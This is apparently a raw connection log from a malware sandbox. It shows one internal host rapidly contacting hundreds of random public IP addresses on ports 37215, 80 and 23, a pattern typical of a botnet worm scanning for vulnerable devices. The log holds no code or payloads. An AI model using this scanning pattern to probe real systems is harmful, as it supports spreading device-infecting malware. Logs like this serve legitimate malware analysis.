Dec 3, 2024 21:30:45.111073017 CET	59010	80	192.168.2.23	126.4.77.54
Dec 3, 2024 21:30:45.111073017 CET	59010	80	192.168.2.23	176.135.13.139
Dec 3, 2024 21:30:45.111076117 CET	59010	80	192.168.2.23	188.43.111.109
Dec 3, 2024 21:30:45.111076117 CET	59010	80	192.168.2.23	126.105.199.182
Dec 3, 2024 21:30:45.111076117 CET	59010	80	192.168.2.23	57.23.65.28
Dec 3, 2024 21:30:45.111080885 CET	59010	80	192.168.2.23	160.94.38.59
Dec 3, 2024 21:30:45.111083984 CET	59010	80	192.168.2.23	20.62.210.9
Dec 3, 2024 21:30:45.111089945 CET	59010	80	192.168.2.23	51.202.126.218
Dec 3, 2024 21:30:45.111089945 CET	59010	80	192.168.2.23	104.15.92.56
Dec 3, 2024 21:30:45.111089945 CET	59010	80	192.168.2.23	104.235.40.151
Dec 3, 2024 21:30:45.111089945 CET	59010	80	192.168.2.23	105.117.221.74
Dec 3, 2024 21:30:45.111089945 CET	59010	80	192.168.2.23	198.42.111.207
Dec 3, 2024 21:30:45.111089945 CET	59010	80	192.168.2.23	156.150.187.96
Dec 3, 2024 21:30:45.111097097 CET	59010	80	192.168.2.23	45.111.48.249
Dec 3, 2024 21:30:45.111097097 CET	59010	80	192.168.2.23	218.213.126.45
Dec 3, 2024 21:30:45.111097097 CET	59010	80	192.168.2.23	122.163.74.166
Dec 3, 2024 21:30:45.111099958 CET	59010	80	192.168.2.23	79.178.39.222
Dec 3, 2024 21:30:45.111102104 CET	59010	80	192.168.2.23	109.161.157.78
Dec 3, 2024 21:30:45.111102104 CET	59010	80	192.168.2.23	32.59.37.91
Dec 3, 2024 21:30:45.111104965 CET	59010	80	192.168.2.23	46.21.127.240
Dec 3, 2024 21:30:45.111112118 CET	59010	80	192.168.2.23	149.68.28.156
Dec 3, 2024 21:30:45.111112118 CET	59010	80	192.168.2.23	176.51.205.239
Dec 3, 2024 21:30:45.111116886 CET	59010	80	192.168.2.23	175.1.192.224
Dec 3, 2024 21:30:45.111116886 CET	59010	80	192.168.2.23	191.27.62.80
Dec 3, 2024 21:30:45.111119032 CET	59010	80	192.168.2.23	97.190.240.18
Dec 3, 2024 21:30:45.111119032 CET	59010	80	192.168.2.23	5.48.130.177
Dec 3, 2024 21:30:45.111119032 CET	59010	80	192.168.2.23	57.216.201.70
Dec 3, 2024 21:30:45.111129045 CET	59010	80	192.168.2.23	57.152.140.98
Dec 3, 2024 21:30:45.111129999 CET	59010	80	192.168.2.23	156.71.69.240
Dec 3, 2024 21:30:45.111129999 CET	59010	80	192.168.2.23	57.240.58.218
Dec 3, 2024 21:30:45.111129999 CET	59010	80	192.168.2.23	45.30.60.150
Dec 3, 2024 21:30:45.111130953 CET	59010	80	192.168.2.23	152.19.201.11
Dec 3, 2024 21:30:45.111135006 CET	59010	80	192.168.2.23	59.100.118.22
Dec 3, 2024 21:30:45.111135006 CET	59010	80	192.168.2.23	160.44.150.248
Dec 3, 2024 21:30:45.111135006 CET	59010	80	192.168.2.23	138.209.61.200
Dec 3, 2024 21:30:45.111136913 CET	59010	80	192.168.2.23	110.125.238.47
Dec 3, 2024 21:30:45.111139059 CET	59010	80	192.168.2.23	148.39.54.174
Dec 3, 2024 21:30:45.111140013 CET	59010	80	192.168.2.23	218.48.183.49
Dec 3, 2024 21:30:45.111151934 CET	59010	80	192.168.2.23	165.47.255.134
Dec 3, 2024 21:30:45.111175060 CET	59010	80	192.168.2.23	23.49.240.194
Dec 3, 2024 21:30:45.111176014 CET	59010	80	192.168.2.23	23.23.102.12
Dec 3, 2024 21:30:45.111177921 CET	59010	80	192.168.2.23	142.92.158.249
Dec 3, 2024 21:30:45.111187935 CET	47720	23	192.168.2.23	75.160.31.192
Dec 3, 2024 21:30:45.111190081 CET	59010	80	192.168.2.23	32.157.31.199
Dec 3, 2024 21:30:45.111190081 CET	59010	80	192.168.2.23	174.160.90.123
Dec 3, 2024 21:30:45.111203909 CET	59010	80	192.168.2.23	12.213.172.225
Dec 3, 2024 21:30:45.111207008 CET	59010	80	192.168.2.23	177.96.225.84
Dec 3, 2024 21:30:45.111207008 CET	59010	80	192.168.2.23	96.195.102.231
Dec 3, 2024 21:30:45.111208916 CET	59010	80	192.168.2.23	119.23.104.149
Dec 3, 2024 21:30:45.111212015 CET	59010	80	192.168.2.23	115.38.189.166
Dec 3, 2024 21:30:45.111215115 CET	59010	80	192.168.2.23	168.181.116.237
Dec 3, 2024 21:30:45.111223936 CET	59010	80	192.168.2.23	107.167.252.166
Dec 3, 2024 21:30:45.111232996 CET	59010	80	192.168.2.23	200.248.12.71
Dec 3, 2024 21:30:45.111237049 CET	59010	80	192.168.2.23	77.248.51.224
Dec 3, 2024 21:30:45.111248016 CET	59010	80	192.168.2.23	198.25.55.221
Dec 3, 2024 21:30:45.111260891 CET	59010	80	192.168.2.23	74.85.176.41
Dec 3, 2024 21:30:45.111264944 CET	59010	80	192.168.2.23	143.118.23.4
Dec 3, 2024 21:30:45.111288071 CET	59010	80	192.168.2.23	144.235.160.251
Dec 3, 2024 21:30:45.111288071 CET	59010	80	192.168.2.23	77.14.132.79
Dec 3, 2024 21:30:45.111291885 CET	59010	80	192.168.2.23	154.115.188.108
Dec 3, 2024 21:30:45.111299992 CET	59010	80	192.168.2.23	178.111.137.237
Dec 3, 2024 21:30:45.111304998 CET	59010	80	192.168.2.23	13.168.125.21
Dec 3, 2024 21:30:45.111304998 CET	59010	80	192.168.2.23	58.202.86.30
Dec 3, 2024 21:30:45.111306906 CET	59010	80	192.168.2.23	54.152.111.189
Dec 3, 2024 21:30:45.111325979 CET	59010	80	192.168.2.23	93.22.80.92
Dec 3, 2024 21:30:45.111329079 CET	59010	80	192.168.2.23	198.67.117.106
Dec 3, 2024 21:30:45.111330032 CET	59010	80	192.168.2.23	65.124.34.130
Dec 3, 2024 21:30:45.111332893 CET	59010	80	192.168.2.23	191.237.4.7
Dec 3, 2024 21:30:45.111352921 CET	59010	80	192.168.2.23	182.165.225.246
Dec 3, 2024 21:30:45.111366987 CET	59010	80	192.168.2.23	35.223.69.237
Dec 3, 2024 21:30:45.111366987 CET	59010	80	192.168.2.23	197.32.171.3
Dec 3, 2024 21:30:45.112278938 CET	59009	37215	192.168.2.23	41.2.63.172
Dec 3, 2024 21:30:45.112294912 CET	59009	37215	192.168.2.23	197.28.24.85
Dec 3, 2024 21:30:45.112301111 CET	59009	37215	192.168.2.23	156.217.17.105
Dec 3, 2024 21:30:45.112317085 CET	59009	37215	192.168.2.23	156.47.213.139
Dec 3, 2024 21:30:45.112340927 CET	59009	37215	192.168.2.23	197.17.70.30
Dec 3, 2024 21:30:45.112340927 CET	59009	37215	192.168.2.23	156.210.25.188
Dec 3, 2024 21:30:45.112349033 CET	59009	37215	192.168.2.23	156.53.131.172
Dec 3, 2024 21:30:45.112349033 CET	59009	37215	192.168.2.23	156.174.172.245
Dec 3, 2024 21:30:45.112420082 CET	59009	37215	192.168.2.23	197.148.178.174
Dec 3, 2024 21:30:45.112421036 CET	59009	37215	192.168.2.23	156.195.209.45
Dec 3, 2024 21:30:45.112423897 CET	59009	37215	192.168.2.23	41.182.14.127
Dec 3, 2024 21:30:45.112442017 CET	59009	37215	192.168.2.23	156.177.206.115
Dec 3, 2024 21:30:45.112442017 CET	59009	37215	192.168.2.23	156.140.154.27
Dec 3, 2024 21:30:45.112442017 CET	59009	37215	192.168.2.23	197.114.169.56
Dec 3, 2024 21:30:45.112442017 CET	59009	37215	192.168.2.23	41.177.92.14
Dec 3, 2024 21:30:45.112445116 CET	59009	37215	192.168.2.23	156.64.194.234
Dec 3, 2024 21:30:45.112445116 CET	59009	37215	192.168.2.23	41.199.203.28
Dec 3, 2024 21:30:45.112447023 CET	59009	37215	192.168.2.23	197.177.7.49
Dec 3, 2024 21:30:45.112452984 CET	59009	37215	192.168.2.23	197.119.172.124
Dec 3, 2024 21:30:45.112452984 CET	59009	37215	192.168.2.23	41.42.217.5
Dec 3, 2024 21:30:45.112452984 CET	41002	23	192.168.2.23	134.92.94.114
Dec 3, 2024 21:30:45.112456083 CET	59009	37215	192.168.2.23	156.222.223.204
Dec 3, 2024 21:30:45.112456083 CET	59009	37215	192.168.2.23	156.144.184.159
Dec 3, 2024 21:30:45.112456083 CET	59009	37215	192.168.2.23	197.123.171.40
Dec 3, 2024 21:30:45.112459898 CET	59009	37215	192.168.2.23	41.96.165.225
Dec 3, 2024 21:30:45.112458944 CET	59009	37215	192.168.2.23	156.59.99.125
Dec 3, 2024 21:30:45.112461090 CET	59009	37215	192.168.2.23	156.74.74.91
Dec 3, 2024 21:30:45.112459898 CET	59009	37215	192.168.2.23	41.213.48.35
Dec 3, 2024 21:30:45.112459898 CET	59009	37215	192.168.2.23	156.125.241.193
Dec 3, 2024 21:30:45.112461090 CET	59009	37215	192.168.2.23	156.213.19.190
Dec 3, 2024 21:30:45.112468958 CET	59009	37215	192.168.2.23	156.97.116.178
Dec 3, 2024 21:30:45.112477064 CET	59009	37215	192.168.2.23	41.166.60.82
Dec 3, 2024 21:30:45.112482071 CET	59009	37215	192.168.2.23	41.223.42.79
Dec 3, 2024 21:30:45.112498999 CET	59009	37215	192.168.2.23	197.232.132.211
Dec 3, 2024 21:30:45.112499952 CET	59009	37215	192.168.2.23	156.153.111.149
Dec 3, 2024 21:30:45.112513065 CET	59009	37215	192.168.2.23	41.196.63.175
Dec 3, 2024 21:30:45.112517118 CET	59009	37215	192.168.2.23	156.121.224.31
Dec 3, 2024 21:30:45.112536907 CET	59009	37215	192.168.2.23	197.160.237.153
Dec 3, 2024 21:30:45.112556934 CET	59009	37215	192.168.2.23	197.108.203.234
Dec 3, 2024 21:30:45.112561941 CET	59009	37215	192.168.2.23	156.193.96.54
Dec 3, 2024 21:30:45.112570047 CET	59009	37215	192.168.2.23	41.55.143.247
Dec 3, 2024 21:30:45.112577915 CET	59009	37215	192.168.2.23	156.221.175.170
Dec 3, 2024 21:30:45.112586975 CET	59009	37215	192.168.2.23	197.187.58.68
Dec 3, 2024 21:30:45.112591982 CET	59009	37215	192.168.2.23	41.69.131.133
Dec 3, 2024 21:30:45.112606049 CET	59009	37215	192.168.2.23	197.25.119.214
Dec 3, 2024 21:30:45.112612009 CET	59009	37215	192.168.2.23	41.83.171.178
Dec 3, 2024 21:30:45.112621069 CET	59009	37215	192.168.2.23	41.0.217.150
Dec 3, 2024 21:30:45.112639904 CET	59009	37215	192.168.2.23	156.56.74.188
Dec 3, 2024 21:30:45.112639904 CET	59009	37215	192.168.2.23	41.188.146.194
Dec 3, 2024 21:30:45.112647057 CET	59009	37215	192.168.2.23	197.102.139.200
Dec 3, 2024 21:30:45.112654924 CET	59009	37215	192.168.2.23	197.230.171.149
Dec 3, 2024 21:30:45.112709045 CET	59009	37215	192.168.2.23	156.141.218.229
Dec 3, 2024 21:30:45.112713099 CET	59009	37215	192.168.2.23	156.135.113.172
Dec 3, 2024 21:30:45.112721920 CET	59009	37215	192.168.2.23	41.51.81.119
Dec 3, 2024 21:30:45.112726927 CET	59009	37215	192.168.2.23	156.168.200.24
Dec 3, 2024 21:30:45.112730980 CET	59009	37215	192.168.2.23	41.29.217.41
Dec 3, 2024 21:30:45.112749100 CET	59009	37215	192.168.2.23	156.94.82.118
Dec 3, 2024 21:30:45.112754107 CET	59009	37215	192.168.2.23	41.201.34.21
Dec 3, 2024 21:30:45.112765074 CET	59009	37215	192.168.2.23	41.199.45.243
Dec 3, 2024 21:30:45.112773895 CET	59009	37215	192.168.2.23	156.169.201.159
Dec 3, 2024 21:30:45.112782001 CET	59009	37215	192.168.2.23	41.85.105.108
Dec 3, 2024 21:30:45.112785101 CET	59009	37215	192.168.2.23	41.228.140.51
Dec 3, 2024 21:30:45.112791061 CET	59009	37215	192.168.2.23	156.14.120.230
Dec 3, 2024 21:30:45.112806082 CET	59009	37215	192.168.2.23	41.95.67.79
Dec 3, 2024 21:30:45.112806082 CET	59009	37215	192.168.2.23	41.206.182.130
Dec 3, 2024 21:30:45.112812042 CET	59009	37215	192.168.2.23	156.61.165.179
Dec 3, 2024 21:30:45.112833023 CET	59009	37215	192.168.2.23	41.228.101.33
Dec 3, 2024 21:30:45.112833023 CET	59009	37215	192.168.2.23	41.47.118.61
Dec 3, 2024 21:30:45.112848043 CET	59009	37215	192.168.2.23	41.194.35.29
Dec 3, 2024 21:30:45.112854958 CET	59009	37215	192.168.2.23	197.50.111.27
Dec 3, 2024 21:30:45.112865925 CET	59009	37215	192.168.2.23	197.9.170.248
Dec 3, 2024 21:30:45.112870932 CET	59009	37215	192.168.2.23	156.224.40.182
Dec 3, 2024 21:30:45.112876892 CET	59009	37215	192.168.2.23	41.209.229.78
Dec 3, 2024 21:30:45.112889051 CET	59009	37215	192.168.2.23	197.125.215.149
Dec 3, 2024 21:30:45.112890959 CET	59009	37215	192.168.2.23	41.65.162.247
Dec 3, 2024 21:30:45.112909079 CET	59009	37215	192.168.2.23	156.184.156.48
Dec 3, 2024 21:30:45.112909079 CET	59009	37215	192.168.2.23	197.239.53.232
Dec 3, 2024 21:30:45.112914085 CET	59009	37215	192.168.2.23	41.102.65.178
Dec 3, 2024 21:30:45.112929106 CET	59009	37215	192.168.2.23	197.206.220.199
Dec 3, 2024 21:30:45.112936974 CET	59009	37215	192.168.2.23	156.169.225.108
Dec 3, 2024 21:30:45.112946987 CET	59009	37215	192.168.2.23	156.125.230.40
Dec 3, 2024 21:30:45.112960100 CET	53760	80	192.168.2.23	89.173.214.49
Dec 3, 2024 21:30:45.112978935 CET	59009	37215	192.168.2.23	41.127.18.253
Dec 3, 2024 21:30:45.112986088 CET	59009	37215	192.168.2.23	41.132.55.205
Dec 3, 2024 21:30:45.112997055 CET	59009	37215	192.168.2.23	197.179.247.93
Dec 3, 2024 21:30:45.113004923 CET	59009	37215	192.168.2.23	41.205.66.71
Dec 3, 2024 21:30:45.113018036 CET	59009	37215	192.168.2.23	156.113.114.219
Dec 3, 2024 21:30:45.113023043 CET	59009	37215	192.168.2.23	156.23.1.85
Dec 3, 2024 21:30:45.113038063 CET	59009	37215	192.168.2.23	41.72.191.213
Dec 3, 2024 21:30:45.113042116 CET	59009	37215	192.168.2.23	156.237.240.82
Dec 3, 2024 21:30:45.113046885 CET	59009	37215	192.168.2.23	156.12.247.12
Dec 3, 2024 21:30:45.113065958 CET	59009	37215	192.168.2.23	156.191.19.208
Dec 3, 2024 21:30:45.113082886 CET	59009	37215	192.168.2.23	197.169.172.221
Dec 3, 2024 21:30:45.113094091 CET	59009	37215	192.168.2.23	156.197.132.91
Dec 3, 2024 21:30:45.113095999 CET	59009	37215	192.168.2.23	156.152.170.0
Dec 3, 2024 21:30:45.113110065 CET	59009	37215	192.168.2.23	197.164.67.150
Dec 3, 2024 21:30:45.113114119 CET	59009	37215	192.168.2.23	41.255.80.253
Dec 3, 2024 21:30:45.113131046 CET	59009	37215	192.168.2.23	197.86.82.21
Dec 3, 2024 21:30:45.113138914 CET	59009	37215	192.168.2.23	156.4.50.179
Dec 3, 2024 21:30:45.113138914 CET	59009	37215	192.168.2.23	41.38.52.82
Dec 3, 2024 21:30:45.113148928 CET	59009	37215	192.168.2.23	156.195.184.180
Dec 3, 2024 21:30:45.113153934 CET	59009	37215	192.168.2.23	41.145.0.27
Dec 3, 2024 21:30:45.113162041 CET	59009	37215	192.168.2.23	156.53.125.181
Dec 3, 2024 21:30:45.113178015 CET	59009	37215	192.168.2.23	41.222.249.239
Dec 3, 2024 21:30:45.113183975 CET	59009	37215	192.168.2.23	197.25.211.30
Dec 3, 2024 21:30:45.113200903 CET	59009	37215	192.168.2.23	41.118.223.138
Dec 3, 2024 21:30:45.113203049 CET	59009	37215	192.168.2.23	197.173.198.130
Dec 3, 2024 21:30:45.113214016 CET	59009	37215	192.168.2.23	41.116.92.193
Dec 3, 2024 21:30:45.113219023 CET	59009	37215	192.168.2.23	197.100.123.191
Dec 3, 2024 21:30:45.113229990 CET	59009	37215	192.168.2.23	156.231.31.51
Dec 3, 2024 21:30:45.113236904 CET	59009	37215	192.168.2.23	156.247.108.89
Dec 3, 2024 21:30:45.113249063 CET	59009	37215	192.168.2.23	156.184.118.165
Dec 3, 2024 21:30:45.113256931 CET	59009	37215	192.168.2.23	197.156.229.174
Dec 3, 2024 21:30:45.113267899 CET	59009	37215	192.168.2.23	156.252.228.72
Dec 3, 2024 21:30:45.113284111 CET	59009	37215	192.168.2.23	41.245.219.103
Dec 3, 2024 21:30:45.113293886 CET	59009	37215	192.168.2.23	41.238.233.153
Dec 3, 2024 21:30:45.113298893 CET	59009	37215	192.168.2.23	156.122.57.32
Dec 3, 2024 21:30:45.113306046 CET	59009	37215	192.168.2.23	156.165.83.15
Dec 3, 2024 21:30:45.113322020 CET	59009	37215	192.168.2.23	156.0.83.230
Dec 3, 2024 21:30:45.113322020 CET	59009	37215	192.168.2.23	41.191.60.183
Dec 3, 2024 21:30:45.113347054 CET	59009	37215	192.168.2.23	156.50.151.83
Dec 3, 2024 21:30:45.113351107 CET	59009	37215	192.168.2.23	197.196.21.103
Dec 3, 2024 21:30:45.113358021 CET	59009	37215	192.168.2.23	41.110.137.230
Dec 3, 2024 21:30:45.113358974 CET	59009	37215	192.168.2.23	197.177.200.206
Dec 3, 2024 21:30:45.113359928 CET	59009	37215	192.168.2.23	197.237.189.116
Dec 3, 2024 21:30:45.113365889 CET	59009	37215	192.168.2.23	41.148.83.20
Dec 3, 2024 21:30:45.113368988 CET	59009	37215	192.168.2.23	41.122.8.84
Dec 3, 2024 21:30:45.113370895 CET	59009	37215	192.168.2.23	197.143.5.43
Dec 3, 2024 21:30:45.113374949 CET	59009	37215	192.168.2.23	156.253.12.226
Dec 3, 2024 21:30:45.113374949 CET	59009	37215	192.168.2.23	156.46.26.54
Dec 3, 2024 21:30:45.113385916 CET	59009	37215	192.168.2.23	156.221.234.238
Dec 3, 2024 21:30:45.113385916 CET	59009	37215	192.168.2.23	41.142.96.135
Dec 3, 2024 21:30:45.113390923 CET	59009	37215	192.168.2.23	197.80.8.34
Dec 3, 2024 21:30:45.113404036 CET	59009	37215	192.168.2.23	197.133.182.193
Dec 3, 2024 21:30:45.113420010 CET	59009	37215	192.168.2.23	41.236.6.141
Dec 3, 2024 21:30:45.113435984 CET	52084	23	192.168.2.23	217.32.184.17
Dec 3, 2024 21:30:45.113435984 CET	59009	37215	192.168.2.23	156.123.157.180
Dec 3, 2024 21:30:45.113435984 CET	59009	37215	192.168.2.23	156.51.186.142
Dec 3, 2024 21:30:45.113440037 CET	59009	37215	192.168.2.23	197.128.231.141
Dec 3, 2024 21:30:45.113454103 CET	59009	37215	192.168.2.23	41.86.61.177
Dec 3, 2024 21:30:45.113456011 CET	59009	37215	192.168.2.23	197.73.255.194
Dec 3, 2024 21:30:45.113466978 CET	59009	37215	192.168.2.23	156.71.9.117
Dec 3, 2024 21:30:45.113483906 CET	59009	37215	192.168.2.23	41.66.226.196
Dec 3, 2024 21:30:45.113487959 CET	59009	37215	192.168.2.23	156.50.228.76
Dec 3, 2024 21:30:45.113495111 CET	59009	37215	192.168.2.23	156.207.47.16
Dec 3, 2024 21:30:45.113497972 CET	59009	37215	192.168.2.23	41.27.60.139
Dec 3, 2024 21:30:45.113497972 CET	59009	37215	192.168.2.23	156.113.149.176
Dec 3, 2024 21:30:45.113507032 CET	59009	37215	192.168.2.23	156.217.245.26
Dec 3, 2024 21:30:45.113523006 CET	59009	37215	192.168.2.23	197.56.102.203
Dec 3, 2024 21:30:45.113524914 CET	59009	37215	192.168.2.23	197.89.94.96
Dec 3, 2024 21:30:45.113534927 CET	59009	37215	192.168.2.23	156.185.166.223
Dec 3, 2024 21:30:45.113538027 CET	59009	37215	192.168.2.23	41.47.38.34
Dec 3, 2024 21:30:45.113549948 CET	59009	37215	192.168.2.23	156.31.48.56
Dec 3, 2024 21:30:45.113554955 CET	59009	37215	192.168.2.23	41.232.10.144
Dec 3, 2024 21:30:45.113568068 CET	59009	37215	192.168.2.23	197.142.173.106
Dec 3, 2024 21:30:45.113579988 CET	59009	37215	192.168.2.23	197.146.82.7
Dec 3, 2024 21:30:45.113584042 CET	59009	37215	192.168.2.23	41.122.246.33
Dec 3, 2024 21:30:45.113591909 CET	59009	37215	192.168.2.23	156.51.134.189
Dec 3, 2024 21:30:45.113622904 CET	59009	37215	192.168.2.23	156.253.199.182
Dec 3, 2024 21:30:45.113625050 CET	59009	37215	192.168.2.23	156.19.241.95
Dec 3, 2024 21:30:45.113625050 CET	59009	37215	192.168.2.23	156.230.141.11
Dec 3, 2024 21:30:45.113627911 CET	59009	37215	192.168.2.23	197.4.84.100
Dec 3, 2024 21:30:45.113632917 CET	59009	37215	192.168.2.23	41.246.53.8
Dec 3, 2024 21:30:45.113634109 CET	59009	37215	192.168.2.23	156.64.186.116
Dec 3, 2024 21:30:45.113634109 CET	59009	37215	192.168.2.23	197.146.25.72
Dec 3, 2024 21:30:45.113634109 CET	59009	37215	192.168.2.23	197.213.47.150
Dec 3, 2024 21:30:45.113634109 CET	59009	37215	192.168.2.23	156.51.248.177
Dec 3, 2024 21:30:45.113637924 CET	59009	37215	192.168.2.23	156.75.186.96
Dec 3, 2024 21:30:45.113641977 CET	59009	37215	192.168.2.23	41.78.238.155
Dec 3, 2024 21:30:45.113646984 CET	59009	37215	192.168.2.23	156.214.93.174
Dec 3, 2024 21:30:45.113672018 CET	59009	37215	192.168.2.23	156.143.63.172
Dec 3, 2024 21:30:45.113672972 CET	59009	37215	192.168.2.23	41.147.16.87
Dec 3, 2024 21:30:45.113676071 CET	59009	37215	192.168.2.23	197.234.252.91
Dec 3, 2024 21:30:45.113692999 CET	59009	37215	192.168.2.23	41.182.152.103
Dec 3, 2024 21:30:45.113692999 CET	59009	37215	192.168.2.23	197.66.233.226
Dec 3, 2024 21:30:45.113692999 CET	59009	37215	192.168.2.23	41.46.1.21
Dec 3, 2024 21:30:45.113708973 CET	59009	37215	192.168.2.23	197.15.164.209
Dec 3, 2024 21:30:45.113734961 CET	59009	37215	192.168.2.23	41.44.253.255
Dec 3, 2024 21:30:45.113743067 CET	59009	37215	192.168.2.23	197.187.156.43
Dec 3, 2024 21:30:45.113744020 CET	59009	37215	192.168.2.23	41.207.179.151
Dec 3, 2024 21:30:45.113744974 CET	59009	37215	192.168.2.23	156.166.145.92
Dec 3, 2024 21:30:45.113744974 CET	59009	37215	192.168.2.23	156.206.250.49
Dec 3, 2024 21:30:45.113748074 CET	59009	37215	192.168.2.23	41.115.210.27
Dec 3, 2024 21:30:45.113751888 CET	59009	37215	192.168.2.23	197.255.124.73
Dec 3, 2024 21:30:45.113815069 CET	59009	37215	192.168.2.23	156.249.170.12
Dec 3, 2024 21:30:45.113828897 CET	59009	37215	192.168.2.23	156.37.44.42
Dec 3, 2024 21:30:45.113832951 CET	59009	37215	192.168.2.23	156.97.214.28
Dec 3, 2024 21:30:45.113832951 CET	59009	37215	192.168.2.23	156.31.130.183
Dec 3, 2024 21:30:45.113833904 CET	59009	37215	192.168.2.23	156.140.71.195
Dec 3, 2024 21:30:45.113835096 CET	59009	37215	192.168.2.23	197.184.241.117
Dec 3, 2024 21:30:45.113835096 CET	59009	37215	192.168.2.23	156.106.30.32
Dec 3, 2024 21:30:45.113856077 CET	59009	37215	192.168.2.23	41.233.221.129
Dec 3, 2024 21:30:45.113868952 CET	59009	37215	192.168.2.23	156.208.125.179
Dec 3, 2024 21:30:45.113877058 CET	59009	37215	192.168.2.23	41.35.171.162
Dec 3, 2024 21:30:45.113887072 CET	59009	37215	192.168.2.23	156.17.117.31
Dec 3, 2024 21:30:45.113892078 CET	59009	37215	192.168.2.23	156.109.165.97
Dec 3, 2024 21:30:45.113894939 CET	59009	37215	192.168.2.23	41.226.128.255
Dec 3, 2024 21:30:45.113904953 CET	59009	37215	192.168.2.23	41.190.238.165
Dec 3, 2024 21:30:45.113945007 CET	59009	37215	192.168.2.23	156.49.92.16
Dec 3, 2024 21:30:45.113955021 CET	59009	37215	192.168.2.23	197.240.192.100
Dec 3, 2024 21:30:45.113965988 CET	59009	37215	192.168.2.23	197.30.150.32
Dec 3, 2024 21:30:45.113965988 CET	59009	37215	192.168.2.23	197.35.43.34
Dec 3, 2024 21:30:45.113986015 CET	59009	37215	192.168.2.23	156.135.181.138
Dec 3, 2024 21:30:45.113986969 CET	59009	37215	192.168.2.23	197.122.119.186
Dec 3, 2024 21:30:45.113987923 CET	59009	37215	192.168.2.23	156.250.49.7
Dec 3, 2024 21:30:45.114003897 CET	59009	37215	192.168.2.23	41.189.180.147
Dec 3, 2024 21:30:45.114003897 CET	59009	37215	192.168.2.23	156.235.182.252
Dec 3, 2024 21:30:45.114008904 CET	59009	37215	192.168.2.23	41.191.144.65
Dec 3, 2024 21:30:45.114008904 CET	59009	37215	192.168.2.23	197.170.247.8
Dec 3, 2024 21:30:45.114038944 CET	59009	37215	192.168.2.23	41.101.161.199
Dec 3, 2024 21:30:45.114048004 CET	59009	37215	192.168.2.23	197.115.106.2
Dec 3, 2024 21:30:45.114048004 CET	59009	37215	192.168.2.23	197.197.175.103
Dec 3, 2024 21:30:45.114048958 CET	59009	37215	192.168.2.23	156.251.199.245
Dec 3, 2024 21:30:45.114048958 CET	59009	37215	192.168.2.23	41.77.120.242
Dec 3, 2024 21:30:45.114053011 CET	59009	37215	192.168.2.23	197.59.13.6
Dec 3, 2024 21:30:45.114057064 CET	59009	37215	192.168.2.23	41.68.120.79
Dec 3, 2024 21:30:45.114064932 CET	59009	37215	192.168.2.23	156.177.227.212
Dec 3, 2024 21:30:45.114075899 CET	59009	37215	192.168.2.23	41.135.126.195
Dec 3, 2024 21:30:45.114075899 CET	59009	37215	192.168.2.23	41.221.203.32
Dec 3, 2024 21:30:45.114083052 CET	59009	37215	192.168.2.23	156.93.74.53
Dec 3, 2024 21:30:45.114088058 CET	59009	37215	192.168.2.23	156.241.43.164
Dec 3, 2024 21:30:45.114098072 CET	59009	37215	192.168.2.23	197.66.212.146
Dec 3, 2024 21:30:45.114103079 CET	59009	37215	192.168.2.23	197.77.42.181
Dec 3, 2024 21:30:45.114104986 CET	59009	37215	192.168.2.23	41.184.61.39
Dec 3, 2024 21:30:45.114110947 CET	59009	37215	192.168.2.23	156.51.242.108
Dec 3, 2024 21:30:45.114115953 CET	59009	37215	192.168.2.23	197.174.133.49
Dec 3, 2024 21:30:45.114130020 CET	59009	37215	192.168.2.23	156.119.52.169
Dec 3, 2024 21:30:45.114136934 CET	59009	37215	192.168.2.23	156.147.43.188
Dec 3, 2024 21:30:45.114136934 CET	59009	37215	192.168.2.23	41.23.93.243
Dec 3, 2024 21:30:45.114142895 CET	59009	37215	192.168.2.23	156.52.158.232
Dec 3, 2024 21:30:45.114145994 CET	59009	37215	192.168.2.23	41.172.113.190
Dec 3, 2024 21:30:45.114160061 CET	59009	37215	192.168.2.23	197.236.76.139
Dec 3, 2024 21:30:45.114166021 CET	59009	37215	192.168.2.23	156.226.211.110
Dec 3, 2024 21:30:45.114181042 CET	59009	37215	192.168.2.23	41.178.149.201
Dec 3, 2024 21:30:45.114193916 CET	59009	37215	192.168.2.23	41.221.1.171
Dec 3, 2024 21:30:45.114197969 CET	59009	37215	192.168.2.23	156.30.149.62
Dec 3, 2024 21:30:45.114200115 CET	59009	37215	192.168.2.23	41.97.179.23
Dec 3, 2024 21:30:45.114200115 CET	59009	37215	192.168.2.23	41.82.243.124
Dec 3, 2024 21:30:45.114203930 CET	59009	37215	192.168.2.23	41.152.157.243
Dec 3, 2024 21:30:45.114211082 CET	59009	37215	192.168.2.23	197.182.164.98
Dec 3, 2024 21:30:45.114212036 CET	59009	37215	192.168.2.23	197.239.235.52
Dec 3, 2024 21:30:45.114213943 CET	59009	37215	192.168.2.23	156.226.185.39
Dec 3, 2024 21:30:45.114213943 CET	59009	37215	192.168.2.23	197.109.180.15
Dec 3, 2024 21:30:45.114232063 CET	59009	37215	192.168.2.23	197.169.0.51
Dec 3, 2024 21:30:45.114233971 CET	59009	37215	192.168.2.23	156.213.7.175
Dec 3, 2024 21:30:45.114237070 CET	59009	37215	192.168.2.23	156.214.38.226
Dec 3, 2024 21:30:45.114253044 CET	59009	37215	192.168.2.23	197.147.66.120
Dec 3, 2024 21:30:45.114253044 CET	59009	37215	192.168.2.23	156.18.79.106
Dec 3, 2024 21:30:45.114270926 CET	59009	37215	192.168.2.23	197.187.239.75
Dec 3, 2024 21:30:45.114284039 CET	59009	37215	192.168.2.23	156.145.211.168
Dec 3, 2024 21:30:45.114285946 CET	59009	37215	192.168.2.23	197.23.15.179
Dec 3, 2024 21:30:45.114305019 CET	59009	37215	192.168.2.23	41.248.241.173
Dec 3, 2024 21:30:45.114310026 CET	59009	37215	192.168.2.23	197.54.121.185
Dec 3, 2024 21:30:45.114316940 CET	59009	37215	192.168.2.23	156.219.17.179
Dec 3, 2024 21:30:45.114337921 CET	59009	37215	192.168.2.23	156.147.124.238
Dec 3, 2024 21:30:45.114347935 CET	59009	37215	192.168.2.23	197.104.57.90
Dec 3, 2024 21:30:45.114355087 CET	59009	37215	192.168.2.23	156.190.21.234
Dec 3, 2024 21:30:45.114366055 CET	59009	37215	192.168.2.23	197.178.139.240
Dec 3, 2024 21:30:45.114384890 CET	59009	37215	192.168.2.23	197.233.192.71
Dec 3, 2024 21:30:45.114392996 CET	59009	37215	192.168.2.23	197.26.64.159
Dec 3, 2024 21:30:45.114394903 CET	59009	37215	192.168.2.23	41.3.147.103
Dec 3, 2024 21:30:45.114397049 CET	59009	37215	192.168.2.23	156.202.158.202
Dec 3, 2024 21:30:45.114403009 CET	59009	37215	192.168.2.23	41.201.167.132
